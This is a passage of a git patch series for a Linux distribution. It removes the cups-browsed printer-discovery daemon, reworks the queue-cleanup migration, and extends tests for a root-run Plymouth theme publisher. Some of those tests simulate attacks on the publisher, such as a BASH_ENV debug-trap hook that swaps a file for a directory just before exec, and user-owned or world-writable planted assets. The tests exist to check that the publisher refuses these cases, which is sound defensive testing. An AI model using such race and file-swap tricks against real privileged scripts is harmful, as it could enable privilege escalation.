a/test/shell.d/cups-hardening-test.sh b/test/shell.d/cups-hardening-test.sh index 96110fff..d60e156f 100644 --- a/test/shell.d/cups-hardening-test.sh +++ b/test/shell.d/cups-hardening-test.sh @@ -10,11 +10,38 @@ cups_files_conf="$ROOT/etc/cups/cups-files.conf" sysusers_conf="$ROOT/etc/sysusers.d/omarchy-cups-browsed.conf" service_dropin="$ROOT/etc/systemd/system/cups-browsed.service.d/10-omarchy.conf" -grep -qxF cups-browsed "$packages" || fail "cups-browsed remains in the base package set" +# Only discovery goes. Everything else printing needs stays, or this stops +# being a removal of one daemon and becomes a removal of printing. +grep -qxF cups "$packages" || fail "CUPS itself remains in the base package set" +grep -qxF cups-filters "$packages" || fail "the CUPS filters remain in the base package set" +grep -qxF system-config-printer "$packages" || fail "Print Settings remains in the base package set" grep -qxF cups-pk-helper "$packages" || fail "Polkit printer administration is installed" ! grep -qxF cups-pdf "$packages" || fail "the root CUPS-PDF backend is removed" -pass "the base install keeps discovery and replaces CUPS-PDF with Polkit administration" +# Automatic discovery is temporarily out of the default install while it is +# reworked. The hardened configuration below still ships: it is what a +# hand-installed cups-browsed gets, and what discovery comes back onto. +! grep -qxF cups-browsed "$packages" || fail "automatic printer discovery is out of the base package set" +! grep -q 'cups-browsed' "$ROOT/install/config/enable-services.sh" || + fail "a fresh install does not enable a discovery service it no longer installs" +! grep -q 'enable_system_service cups-browsed' "$ROOT/bin/omarchy-upgrade-to-quattro" || + fail "the Quattro upgrade does not enable a discovery service it no longer installs" + +pass "the base install keeps CUPS and Polkit administration, without automatic discovery" + +# The install-time override for a file has to wait for the package that owns +# it. CUPS still ships /etc/cups/cups-files.conf, so a guard on that file no +# longer says anything about cups-browsed: writing its override on a machine +# without the package leaves a configuration file for a package nothing +# installed, and pacman lands its own copy beside it as a .pacnew later. +post_install_pacman="$ROOT/install/post-install/pacman.sh" + +grep -q 'cups-cups-browsed.conf && -f /etc/cups/cups-browsed.conf' "$post_install_pacman" || + fail "the discovery override waits for the package that owns the file it replaces" +grep -q 'cups-cups-files.conf && -f /etc/cups/cups-files.conf' "$post_install_pacman" || + fail "the CUPS authorization override waits for the file it replaces" + +pass "install-time overrides wait for the packages that own their files" grep -qxF 'CacheDir /var/cache/cups-browsed' "$cups_browsed_conf" || fail "cups-browsed keeps state outside the print-filter cache" From d67a7c00bcb7276182635bdf12b4f8ca3b18fafe Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 17:39:33 +0200 Subject: [PATCH 128/336] Cover the ownership and mode checks the publisher rests on Mutating each root-side control one at a time showed three that no test could see: a destination directory root does not own, a single user-owned asset inside an otherwise root-owned packaged directory, and an asset left group- or world-writable by its own mode. Deleting any of the three left the suite green, because the existing cases mark a whole tree untrusted and are caught by the directory check before the per-file one is reached. The harness already had the hook for the ownership pair: TEST_UNTRUSTED_SOURCE makes the stat shim report a chosen prefix as uid 1000, so those two only need it pointed at a destination directory and at a single file rather than at a whole tree. A mode has to be real, so that case stages a copy of the packaged tree the shim reports as root-owned and loosens one asset in it. The empty logo is refused by the destination size bound rather than the caller-side one, so that case pins the behaviour without isolating the check; the two bounds are exactly redundant. Co-Authored-By: Claude Opus 5 (1M context) Claude-Session: https://claude.ai/code/session_0115LngksSpXLD9NSXBEP3ki --- test/shell.d/plymouth-set-test.sh | 63 +++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index 8a40cbf7..194879eb 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -531,6 +531,69 @@ assert_no_temporary_files "$fake_root" pass "publication walks the whole parent chain, not only the immediate parent" +# Mode is not the only thing that decides a destination directory. One that is +# merely user-owned still lets its owner put the file back after we publish, so +# ownership has to refuse it even when 0755 looks harmless. +setup_run +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$theme" 2>&1) +status=$? + +(( status != 0 )) || fail "a user-owned destination directory is rejected" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a user-owned destination directory keeps its live file" +[[ $output == *"refusing to publish"* ]] || fail "a rejected destination directory says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "publication refuses a destination directory root does not own" + +# The packaged tree is validated file by file, not only directory by directory. +# A single user-owned asset inside an otherwise root-owned directory is still +# content a desktop process can rewrite, and the directory check cannot see it. +setup_run +output=$(run_set 022 env TEST_UNTRUSTED_SOURCE="$ROOT/default/plymouth/bullet.png" 2>&1) +status=$? + +(( status != 0 )) || fail "a single user-owned packaged asset is rejected" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "one untrusted asset leaves the live theme unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected packaged asset says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "root checks every packaged asset, not only its directory" + +# Ownership is not the only way a packaged asset stays rewritable: a group- or +# world-writable mode does it too. Stage a tree the shim reports as root-owned +# so only the real mode can decide, then loosen one asset. +setup_run +writable_root=$(mktemp -d "$test_tmp/writable-source.XXXXXXXX") +writable_root=$(realpath -e -- "$writable_root") +mkdir -p "$writable_root/default" +cp -a "$ROOT/default/plymouth" "$ROOT/default/sddm" "$writable_root/default/" +chmod 0666 "$writable_root/default/plymouth/bullet.png" +output=$(run_set 022 env OMARCHY_PATH="$writable_root" 2>&1) +status=$? + +(( status != 0 )) || fail "a world-writable packaged asset is rejected" "$output" +[[ $(cat "$theme/bullet.png") == 'old plymouth bullet.png' ]] || fail "a writable packaged asset leaves the live theme unchanged" +[[ $output == *"refusing to publish"* ]] || fail "a rejected writable asset says why it refused" "$output" +assert_no_temporary_files "$fake_root" + +pass "root refuses a packaged asset its own mode leaves rewritable" + +# The caller streams the logo to root over a descriptor, so root is the only +# place its length can be judged. An empty selection must not become an empty +# published logo. +setup_run +cp -- "$test_tmp/logo.png" "$test_tmp/logo.png.keep" +: >"$test_tmp/logo.png" +output=$(run_set 022 env 2>&1) +status=$? +mv -f -- "$test_tmp/logo.png.keep" "$test_tmp/logo.png" + +(( status != 0 )) || fail "an empty logo is rejected" "$output" +[[ $(cat "$theme/logo.png") == 'old plymouth logo.png' ]] || fail "an empty logo leaves the live logo unchanged" +assert_no_temporary_files "$fake_root" + +pass "an empty logo cannot be published" + # Refresh uses the same publisher but its explicit contract includes the # packaged nested logos/oma.png asset. It must not touch the SDDM theme. setup_run From 1dbc7d5bce67943a191fb6624c3a8568a659777e Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 17:44:31 +0200 Subject: [PATCH 129/336] Close each discovered queue before inspecting or removing it Checking a queue for jobs and then deleting it leaves a window in between, and the sudo that does the deleting can sit at a password prompt for as long as someone takes to type. A job submitted in that window was cancelled by a deletion that had already decided the queue was empty. cupsreject closes the queue to new work first, which also stops more jobs piling onto one that is being left behind and can no longer route them. It comes from the cups package, which stays. What a queue with jobs on it means is now said rather than implied: whatever is already at the printer finishes, whatever is still waiting cannot be routed with the daemon gone, and the person who owns them has to cancel what is left. A queue that another administrator removed while this was running is the outcome wanted, not a failure to keep the package installed for, so a deletion that fails is checked against whether the destination is still there. Co-Authored-By: Codex XHigh --- migrations/1788009111.sh | 36 +++++++--- .../cups-browsed-removal-migration-test.sh | 72 +++++++++++++++++++ 2 files changed, 99 insertions(+), 9 deletions(-) diff --git a/migrations/1788009111.sh b/migrations/1788009111.sh index 1f0d67f5..fc2d262f 100644 --- a/migrations/1788009111.sh +++ b/migrations/1788009111.sh @@ -81,15 +81,28 @@ while IFS= read -r queue; do continue fi - # Removing a queue aborts what is printing on it. The implicitclass backend - # only needs cups-browsed to pick a destination, so a job already past that - # point finishes on its own even though the daemon has stopped -- and a job - # that has not is one this cannot route anyway. Either way the queue is left - # for the person whose job it is, and named so they know to remove it. + # Close the queue to new jobs before looking at what is on it. Otherwise a job + # submitted between the check and the removal -- the sudo below can sit at a + # password prompt for as long as someone takes to type it -- is cancelled by a + # deletion that decided the queue was empty. It also stops more jobs piling + # onto a queue that is being left behind and can no longer route them. + if ! sudo cupsreject -r "Printer discovery has been removed from Omarchy" "$queue"; then + echo " Could not stop $queue accepting new jobs, so it is being left alone." + unremoved=1 + continue + fi + + # Removing a queue cancels the jobs on it. implicitclass needs cups-browsed + # only to pick a destination, so a job already past that point finishes on its + # own; one still waiting cannot, because the daemon that would route it has + # stopped. Neither is this migration's to throw away, so the queue is left for + # whoever owns them, and what will and will not happen is said rather than + # implied. if job_report=$(LC_ALL=C lpstat -o "$queue" 2>/dev/null); then if [[ -n $job_report ]]; then - echo " $queue still has jobs, so it is being left alone." - echo " Once they finish or are cancelled, remove it in Print Settings; it cannot print again." + echo " $queue still has jobs and is no longer taking new ones, so it is being left alone." + echo " Anything already sent to the printer finishes; anything still waiting cannot be routed now." + echo " Cancel what is left and remove the queue in Print Settings." continue fi else @@ -97,9 +110,14 @@ while IFS= read -r queue; do continue fi + # A queue another administrator removed while this was running is a queue that + # is gone, which is the outcome wanted -- not a failure worth keeping the + # package for. if ! sudo lpadmin -x "$queue"; then - echo " Could not remove the queue $queue." - unremoved=1 + if LC_ALL=C lpstat -p "$queue" >/dev/null 2>&1; then + echo " Could not remove the queue $queue." + unremoved=1 + fi fi done <<<"$generated_queues" diff --git a/test/shell.d/cups-browsed-removal-migration-test.sh b/test/shell.d/cups-browsed-removal-migration-test.sh index 82797b4d..63f6a053 100644 --- a/test/shell.d/cups-browsed-removal-migration-test.sh +++ b/test/shell.d/cups-browsed-removal-migration-test.sh @@ -68,6 +68,11 @@ case $1 in printf '%s\n' "$BROWSED_QUEUES" | sed 's|^device for |Gerät für |' fi ;; + -p) + # A destination that no longer exists is unknown to lpstat. + [[ " $BROWSED_GONE_QUEUES " != *" $2 "* ]] + exit $? + ;; -o) [[ -z $BROWSED_LPSTAT_O_FAILS ]] || exit 1 # Jobs are listed per queue: "- ". @@ -83,6 +88,12 @@ printf 'lpadmin\t%s\n' "$*" >>"$BROWSED_LOG" [[ -z $BROWSED_LPADMIN_FAILS ]] SH +cat >"$mock_bin/cupsreject" <<'SH' +#!/bin/bash +printf 'cupsreject\t%s\n' "$*" >>"$BROWSED_LOG" +[[ -z $BROWSED_REJECT_FAILS ]] +SH + chmod +x "$mock_bin"/* log="$test_tmp/actions.log" @@ -107,6 +118,8 @@ run_migration() { BROWSED_LPSTAT_FAILS="${lpstat_fails:-}" \ BROWSED_LPADMIN_FAILS="${lpadmin_fails:-}" \ BROWSED_LPSTAT_O_FAILS="${lpstat_o_fails:-}" \ + BROWSED_REJECT_FAILS="${reject_fails:-}" \ + BROWSED_GONE_QUEUES="${gone_queues:-}" \ PATH="$mock_bin:$PATH" \ OMARCHY_PATH="$ROOT" \ OMARCHY_CUPS_BROWSED_REMOVAL_MARKER="${use_marker:-$marker}" \ @@ -262,6 +275,19 @@ if grep -q 'lpadmin -x Office' "$log"; then fi grep -qxF $'sudo\tlpadmin -x Spare' "$log" || fail "an idle generated queue is still removed" "$(cat "$log")" + +# A job submitted between the check and the deletion -- the sudo in between can +# sit at a password prompt -- would be cancelled by a deletion that had decided +# the queue was empty. +reject_line=$(grep -n 'cupsreject.*Spare' "$log" | head -1 | cut -d: -f1 || true) +probe_line=$(grep -n $'^lpstat\t-o Spare' "$log" | head -1 | cut -d: -f1 || true) +delete_line=$(grep -n 'lpadmin -x Spare' "$log" | head -1 | cut -d: -f1 || true) +[[ -n $reject_line && -n $probe_line && -n $delete_line ]] || + fail "a queue is closed, inspected and removed in that order" "$(cat "$log")" +(( reject_line < probe_line && probe_line < delete_line )) || + fail "a queue stops taking new jobs before it is inspected or removed" "$(cat "$log")" +pass "a queue stops taking new jobs before it is inspected or removed" + grep -q 'Office still has jobs' "$output" || fail "a queue left alone is named so it can be removed later" "$(cat "$output")" # One printer's job must not keep discovery on the machine. @@ -341,6 +367,52 @@ pass "a queue that will not go keeps the package and the marker back" lpadmin_fails="" +# --------------------------------------------- a queue removed by someone else + +# Another administrator deleting the queue mid-run is the outcome wanted, not a +# failure worth keeping the package installed for. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +blocked="" +queues=$'device for Office: implicitclass://Office/' +busy="" +lpstat_fails="" +lpstat_o_fails="" +lpadmin_fails="1" +gone_queues="Office" +use_marker="$test_tmp/var/lib/omarchy/migrations/vanished" +run_migration + +grep -qxF $'sudo\tpacman -R --noconfirm cups-browsed' "$log" || + fail "a queue that is already gone does not hold up the removal" "$(cat "$log")" +[[ -f $use_marker ]] || fail "a queue that is already gone still finishes the migration" +pass "a queue someone else removed counts as removed" + +lpadmin_fails="" +gone_queues="" + +# ------------------------------------------- a queue that will not stop taking jobs + +# Deleting a queue that is still accepting work races whatever arrives next. +installed="cups-browsed" +enabled="cups-browsed.service" +active="cups-browsed.service cups.service" +reject_fails="1" +use_marker="$test_tmp/var/lib/omarchy/migrations/openqueue" +run_migration + +if grep -q 'lpadmin -x' "$log"; then + fail "a queue still accepting jobs is not deleted" "$(cat "$log")" +fi +if grep -q $'^pacman\t-R --noconfirm' "$log"; then + fail "the package waits while a queue is still accepting jobs" "$(cat "$log")" +fi +[[ ! -e $use_marker ]] || fail "a queue still taking jobs is not recorded as done" +pass "a queue that will not stop taking jobs is neither inspected nor deleted" + +reject_fails="" + # -------------------------------------------------- a masked but running daemon installed="cups-browsed" From aac1b009e4ce00916d45842c88d7096aa2c0c5b6 Mon Sep 17 00:00:00 2001 From: Erik Melton Date: Sat, 29 Aug 2026 17:47:42 +0200 Subject: [PATCH 130/336] Cover non-regular Plymouth logo descriptors --- test/shell.d/plymouth-set-test.sh | 37 +++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index 194879eb..a2a7935a 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -409,6 +409,43 @@ assert_no_temporary_files "$fake_root" pass "an unreadable source swap before open fails without publication" +# Opening a directory read-only succeeds on Linux, but the resulting descriptor +# is not a regular file. Swap one in immediately before exec: this gets past the +# open itself and makes the /proc descriptor check the only caller-side control +# that can stop sudo from starting. +setup_run +nonregular_hook="$run_dir/nonregular-hook" +nonregular_marker="$run_dir/nonregular-marker" +cat >"$nonregular_hook" <<'SH' +if [[ $0 == */bin/omarchy-plymouth-set ]]; then + set -T + trap ' + if [[ $BASH_COMMAND == exec* && $BASH_COMMAND == *logo_fd* && + ! -e $TEST_NONREGULAR_MARKER ]]; then + mv -T -- "$logo_path" "$logo_path.before-nonregular-swap" + mkdir -- "$logo_path" + printf "swapped\n" >"$TEST_NONREGULAR_MARKER" + fi + ' DEBUG +fi +SH + +output=$(TEST_NONREGULAR_MARKER="$nonregular_marker" BASH_ENV="$nonregular_hook" run_set 077 env 2>&1) +status=$? +rmdir "$test_tmp/logo.png" +mv "$test_tmp/logo.png.before-nonregular-swap" "$test_tmp/logo.png" + +(( status != 0 )) || fail "a non-regular opened logo descriptor aborts publication" +[[ -s $nonregular_marker ]] || fail "the non-regular pre-open source swap ran deterministically" "$output" +[[ $output == *"no longer a regular file"* ]] || fail "the descriptor check says why it refused the opened directory" "$output" +if [[ -e $sudo_log ]] && grep -Fq 'root transaction' "$sudo_log"; then + fail "sudo started despite the non-regular opened logo descriptor" +fi +[[ $(cat "$theme/logo.png") == 'old plymouth logo.png' ]] || fail "a non-regular opened logo leaves the live logo unchanged" +assert_no_temporary_files "$fake_root" + +pass "the caller refuses an opened descriptor that is not a regular file" + # Plant both a malicious script and a root-file symlink where the old # caller-owned stage lived. The privileged transaction must ignore that tree: # executable/config assets come only from its root-trusted source and are built From 1b92b7f5be8683a71c9d176d5a5fc859518143b3 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sat, 29 Aug 2026 18:03:57 +0200 Subject: [PATCH 131/336] Correct the dev-link help now that Plymouth follows the link omarchy-dev-link told people /usr/share/plymouth was not covered by a link and to reach for omarchy-dev-pkg-test. Since the publisher authorizes a dev-linked checkout out of the root-owned /etc/omarchy.conf, the Plymouth and SDDM themes are republished from the checkout like every other $OMARCHY_PATH-resolved tree, so the help was left describing the old behaviour. Co-Authored-By: Claude Opus 5 (1M context) --- bin/omarchy-dev-link | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/bin/omarchy-dev-link b/bin/omarchy-dev-link index ccaa404f..b09473b5 100755 --- a/bin/omarchy-dev-link +++ b/bin/omarchy-dev-link @@ -34,8 +34,12 @@ systemd, shell, or app-launcher environment; reboot to make every layer agree. Affects only \$OMARCHY_PATH-resolved trees: bin/, default/, shell/, themes/, applications/, config/. Files installed at fixed system paths (/etc/, /usr/lib/systemd/, udev rule bodies, /etc/skel after user -creation, /usr/share/plymouth) are NOT covered — for those, use -omarchy-dev-pkg-test to build and install the package from the checkout. +creation) are NOT covered — for those, use omarchy-dev-pkg-test to build +and install the package from the checkout. + +The Plymouth and SDDM themes under /usr/share are the exception: omarchy +plymouth set and omarchy refresh plymouth republish them from the checkout, +reading this link's authorization out of the root-owned /etc/omarchy.conf. Also writes $sudoers_file so sudo resolves omarchy-* from the checkout instead of the packaged copies. That part takes effect From bb5b178e5f5d26fa2059c552ec2aac38a1e25fe5 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sat, 29 Aug 2026 14:24:05 -0400 Subject: [PATCH 132/336] Remove unused cups-browsed install override --- install/post-install/pacman.sh | 15 ++------------- test/acceptance.d/system-test.sh | 12 +++++++++++- test/shell.d/cups-hardening-test.sh | 18 ++++++++---------- 3 files changed, 21 insertions(+), 24 deletions(-) diff --git a/install/post-install/pacman.sh b/install/post-install/pacman.sh index 22422820..da84975b 100644 --- a/install/post-install/pacman.sh +++ b/install/post-install/pacman.sh @@ -3,22 +3,11 @@ cp -f "$OMARCHY_PATH/default/pacman/pacman-${OMARCHY_MIRROR:-stable}.conf" /etc/pacman.conf cp -f "$OMARCHY_PATH/default/pacman/mirrorlist-${OMARCHY_MIRROR:-stable}" /etc/pacman.d/mirrorlist -# Each override waits for the package that owns the file it replaces, the way -# omarchy-settings does, so pacman does not turn it into a .pacnew during ISO -# package installation. +# Wait for CUPS to own the file, the way omarchy-settings does, so pacman does +# not turn the override into a .pacnew during ISO package installation. if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-files.conf && -f /etc/cups/cups-files.conf ]]; then install -m 0640 -o root -g cups "$OMARCHY_PATH/etc-overrides/cups-cups-files.conf" /etc/cups/cups-files.conf rm -f /etc/cups/cups-files.conf.pacnew fi -# cups-browsed is no longer part of the default install, so this waits for a -# machine that adds discovery back by hand. Writing the override before then -# would leave a configuration file for a package nothing installed, and pacman -# would later land the package's own copy beside it as a .pacnew. -if [[ -f $OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf && -f /etc/cups/cups-browsed.conf ]]; then - systemd-sysusers /etc/sysusers.d/omarchy-cups-browsed.conf - cp -f "$OMARCHY_PATH/etc-overrides/cups-cups-browsed.conf" /etc/cups/cups-browsed.conf - rm -f /etc/cups/cups-browsed.conf.pacnew -fi - source "$OMARCHY_INSTALL/hardware/pacman.sh" diff --git a/test/acceptance.d/system-test.sh b/test/acceptance.d/system-test.sh index deb42f4e..75e9ac81 100644 --- a/test/acceptance.d/system-test.sh +++ b/test/acceptance.d/system-test.sh @@ -65,7 +65,7 @@ verify_services() { } verify_printing_security() { - local lpinfo_output + local lpinfo_output path ! pacman -Q cups-pdf >/dev/null 2>&1 || fail "CUPS-PDF is absent" pass "the root CUPS-PDF backend is not installed" @@ -80,6 +80,16 @@ verify_printing_security() { fail "no discovery service is enabled" ! systemctl is-active --quiet cups-browsed.service 2>/dev/null || fail "no discovery service is running" + + for path in \ + /etc/cups/cups-browsed.conf \ + /usr/bin/cups-browsed \ + /usr/lib/cups/backend/implicitclass \ + /usr/lib/systemd/system/cups-browsed.service \ + /etc/systemd/system/multi-user.target.wants/cups-browsed.service; do + [[ ! -e $path && ! -L $path ]] || + fail "automatic printer discovery leaves no installed package files" "$path still exists" + done pass "automatic printer discovery is absent from a stock install" systemctl is-active --quiet cups.service || fail "CUPS is running" diff --git a/test/shell.d/cups-hardening-test.sh b/test/shell.d/cups-hardening-test.sh index d60e156f..a8aefb94 100644 --- a/test/shell.d/cups-hardening-test.sh +++ b/test/shell.d/cups-hardening-test.sh @@ -19,8 +19,8 @@ grep -qxF cups-pk-helper "$packages" || fail "Polkit printer administration is i ! grep -qxF cups-pdf "$packages" || fail "the root CUPS-PDF backend is removed" # Automatic discovery is temporarily out of the default install while it is -# reworked. The hardened configuration below still ships: it is what a -# hand-installed cups-browsed gets, and what discovery comes back onto. +# reworked. The hardened configuration below stays as the baseline discovery +# comes back onto. ! grep -qxF cups-browsed "$packages" || fail "automatic printer discovery is out of the base package set" ! grep -q 'cups-browsed' "$ROOT/install/config/enable-services.sh" || fail "a fresh install does not enable a discovery service it no longer installs" @@ -29,19 +29,17 @@ grep -qxF cups-pk-helper "$packages" || fail "Polkit printer administration is i pass "the base install keeps CUPS and Polkit administration, without automatic discovery" -# The install-time override for a file has to wait for the package that owns -# it. CUPS still ships /etc/cups/cups-files.conf, so a guard on that file no -# longer says anything about cups-browsed: writing its override on a machine -# without the package leaves a configuration file for a package nothing -# installed, and pacman lands its own copy beside it as a .pacnew later. +# CUPS still ships /etc/cups/cups-files.conf, so its authorization override is +# applied after the ISO installs that package. cups-browsed is absent, so the +# installer must not write any of its package-owned configuration. post_install_pacman="$ROOT/install/post-install/pacman.sh" -grep -q 'cups-cups-browsed.conf && -f /etc/cups/cups-browsed.conf' "$post_install_pacman" || - fail "the discovery override waits for the package that owns the file it replaces" +! grep -q 'cups-cups-browsed.conf' "$post_install_pacman" || + fail "a fresh install does not write configuration for absent printer discovery" grep -q 'cups-cups-files.conf && -f /etc/cups/cups-files.conf' "$post_install_pacman" || fail "the CUPS authorization override waits for the file it replaces" -pass "install-time overrides wait for the packages that own their files" +pass "the fresh install applies CUPS hardening without writing discovery configuration" grep -qxF 'CacheDir /var/cache/cups-browsed' "$cups_browsed_conf" || fail "cups-browsed keeps state outside the print-filter cache" From 96d5682460eb5935c4b7de689facb32a45d01d4b Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sat, 29 Aug 2026 14:58:33 -0400 Subject: [PATCH 133/336] Fix cups-browsed removal migration --- migrations/1788009111.sh | 155 ++---- test/acceptance.d/system-test.sh | 1 + .../cups-browsed-removal-migration-test.sh | 482 ++++++++---------- 3 files changed, 242 insertions(+), 396 deletions(-) diff --git a/migrations/1788009111.sh b/migrations/1788009111.sh index fc2d262f..676fd5d8 100644 --- a/migrations/1788009111.sh +++ b/migrations/1788009111.sh @@ -1,149 +1,72 @@ echo "Temporarily remove automatic printer discovery" -# cups-browsed is the daemon that watches the network and creates print queues -# by itself. Hardening it (1787815267) took a root daemon with a predictable -# cache down to a confined service account, but a daemon that turns anything -# advertising itself on the network into a print queue is a lot of exposure for -# a convenience, so it comes out of the default install while that is reworked. -# Temporarily, and only the discovery half: CUPS itself stays, printing keeps -# working, and a printer is added by hand in Print Settings instead of -# appearing on its own. machine_marker="${OMARCHY_CUPS_BROWSED_REMOVAL_MARKER:-/var/lib/omarchy/migrations/1788009111}" [[ ! -e $machine_marker ]] || exit 0 - -# Nothing to do on a machine that never had it. Checked before any sudo so those -# runs never prompt for a password, and before the marker so no machine pays a -# password prompt for a removal it does not need. omarchy-pkg-present cups-browsed || exit 0 -# Ask pacman whether the removal is possible before touching the service. If -# something here depends on cups-browsed, the alternative is a machine whose -# discovery daemon has been stopped and whose package removal then failed -- -# broken rather than removed. -if ! pacman -R --print cups-browsed >/dev/null 2>&1; then - echo " Something else on this machine still depends on cups-browsed, so it is staying installed." - exit 0 -fi +# Check the full removal transaction before changing the service or queues. +pacman -Rs --print cups-browsed >/dev/null -# Disable before removing, and this is the only window in which it works. -# pacman deletes the unit file but not the enable symlink systemd wrote under -# /etc, and once the unit is gone `systemctl disable` refuses it by name and -# leaves the symlink dangling with nothing left that can clean it. Stopping is -# part of the same step: a daemon whose executable has been unlinked keeps -# running until it is told not to. A masked or already-disabled unit reports -# not-enabled and is left alone. Doing it before the queue list is read also -# means the list cannot grow a new entry while it is being acted on. +# Disable the unit while its package still owns the unit file so systemd can +# remove the enable symlink cleanly. if systemctl is-enabled --quiet cups-browsed.service 2>/dev/null; then - sudo systemctl disable --now cups-browsed.service + sudo systemctl disable --now cups-browsed.service >/dev/null elif systemctl is-active --quiet cups-browsed.service 2>/dev/null; then - sudo systemctl stop cups-browsed.service + sudo systemctl stop cups-browsed.service >/dev/null fi -# cups-browsed keeps the queues it generated when it stops -- -# KeepGeneratedQueuesOnShutdown defaults to Yes and nothing here overrides it -- -# and those queues route through its own implicitclass backend, which goes with -# the package, so none of them can print again. The idle ones are removed rather -# than left in Print Settings looking like printers; the ones with jobs on them -# are handled below. Only queues on that backend: a printer added by hand has an -# ipp:// or usb:// device and is left alone. +# cups-browsed leaves its implicitclass queues behind when stopped. Remove idle +# discovery queues before removing the backend they require, but leave queues +# with jobs for the user to resolve. # -# LC_ALL=C because lpstat translates "device for", and on a German or French -# machine the untranslated pattern would match nothing and read exactly like a -# machine that had no queues to clean up. Captured rather than piped so that -# failing to reach cupsd is distinguishable from finding nothing. The name is -# matched greedily because CUPS allows a colon in a queue name but never a -# space, so the last ": implicitclass://" is the separator and an earlier colon -# belongs to the name. -if ! queue_report=$(LC_ALL=C lpstat -v 2>/dev/null); then - echo " Could not ask CUPS which queues discovery had created." - echo " Discovery is off, but cups-browsed stays installed; remove it by hand once CUPS answers." - exit 0 +# A healthy CUPS server with no configured printers reports this condition on +# stderr and exits 1. Treat that as an empty queue list; every other failure +# keeps the migration pending so it can be retried. +if queue_report=$(LC_ALL=C lpstat -v 2>&1); then + : +elif [[ $queue_report == "lpstat: No destinations added." ]]; then + queue_report="" +else + printf '%s\n' "$queue_report" >&2 + exit 1 fi generated_queues=$(printf '%s\n' "$queue_report" | sed -n 's|^device for \(.*\): implicitclass://.*|\1|p') -unremoved=0 - while IFS= read -r queue; do [[ -n $queue ]] || continue - # A queue name is whatever the printer advertised, put through cups-browsed's - # own sanitizer. `lpstat -o` takes its destination as an optional argument, so - # a leading dash reads as the next option and a comma as a list separator, and - # "all" is its word for every destination. The jobs on such a queue cannot be - # asked about, so it is left alone and named. Never a reason to keep the - # package, though: that would hand a printer that picked its own name a veto - # over the removal. - if [[ $queue == -* || $queue == *,* || $queue == "all" ]]; then - echo " Cannot safely ask about jobs on the queue named '$queue'; remove it in Print Settings." - continue - fi - - # Close the queue to new jobs before looking at what is on it. Otherwise a job - # submitted between the check and the removal -- the sudo below can sit at a - # password prompt for as long as someone takes to type it -- is cancelled by a - # deletion that decided the queue was empty. It also stops more jobs piling - # onto a queue that is being left behind and can no longer route them. - if ! sudo cupsreject -r "Printer discovery has been removed from Omarchy" "$queue"; then - echo " Could not stop $queue accepting new jobs, so it is being left alone." - unremoved=1 - continue - fi - - # Removing a queue cancels the jobs on it. implicitclass needs cups-browsed - # only to pick a destination, so a job already past that point finishes on its - # own; one still waiting cannot, because the daemon that would route it has - # stopped. Neither is this migration's to throw away, so the queue is left for - # whoever owns them, and what will and will not happen is said rather than - # implied. - if job_report=$(LC_ALL=C lpstat -o "$queue" 2>/dev/null); then - if [[ -n $job_report ]]; then - echo " $queue still has jobs and is no longer taking new ones, so it is being left alone." - echo " Anything already sent to the printer finishes; anything still waiting cannot be routed now." - echo " Cancel what is left and remove the queue in Print Settings." + if ! reject_error=$(sudo cupsreject -r "Printer discovery has been removed from Omarchy" "$queue" 2>&1); then + if LC_ALL=C lpstat -p "$queue" >/dev/null 2>&1; then + printf '%s\n' "$reject_error" >&2 + exit 1 + else continue fi + fi + + if job_report=$(LC_ALL=C lpstat -o "$queue" 2>&1); then + [[ -z $job_report ]] || continue + elif LC_ALL=C lpstat -p "$queue" >/dev/null 2>&1; then + printf '%s\n' "$job_report" >&2 + exit 1 else - echo " Could not check for jobs on $queue, so it is being left alone." + # The queue disappeared after the initial snapshot, which is already the + # desired state. continue fi - # A queue another administrator removed while this was running is a queue that - # is gone, which is the outcome wanted -- not a failure worth keeping the - # package for. - if ! sudo lpadmin -x "$queue"; then + if ! delete_error=$(sudo lpadmin -x "$queue" 2>&1); then + # Treat a concurrent disappearance as success. A queue that still exists + # means CUPS did not complete the deletion, so retry the migration later. if LC_ALL=C lpstat -p "$queue" >/dev/null 2>&1; then - echo " Could not remove the queue $queue." - unremoved=1 + printf '%s\n' "$delete_error" >&2 + exit 1 fi fi done <<<"$generated_queues" -# A queue that would not delete is a CUPS that is not answering as expected, so -# the package stays rather than deleting the backend out from under it. Discovery -# is stopped either way, which is the half that mattered. omarchy-migrate records -# this migration for the user as soon as it exits zero, so this is where the -# machine stays until someone removes the package by hand -- said plainly rather -# than dressed up as a retry. -if ((unremoved)); then - echo " Leaving cups-browsed installed. Discovery is off; remove the package by hand once those queues are gone." - exit 0 -fi - -# Raw pacman rather than omarchy-pkg-drop, which passes -n: that discards the -# files pacman has marked as backups instead of renaming them .pacsave, and -# /etc/cups/cups-browsed.conf is one of them. A removal meant to be temporary -# should leave the machine's copy of its own configuration behind. Plain -R -# rather than -Rs, so this only ever removes the one package it names: -s also -# sweeps dependencies that have become unneeded, which is nothing today but is -# a promise the dependency graph of a rolling distribution cannot keep. -# pacman's systemd hook reloads the system manager once the unit file goes. -sudo pacman -R --noconfirm cups-browsed - -# Migration state is per user, so every account on this machine runs every -# migration. Without machine-wide state, an account whose first run comes after -# someone deliberately reinstalled 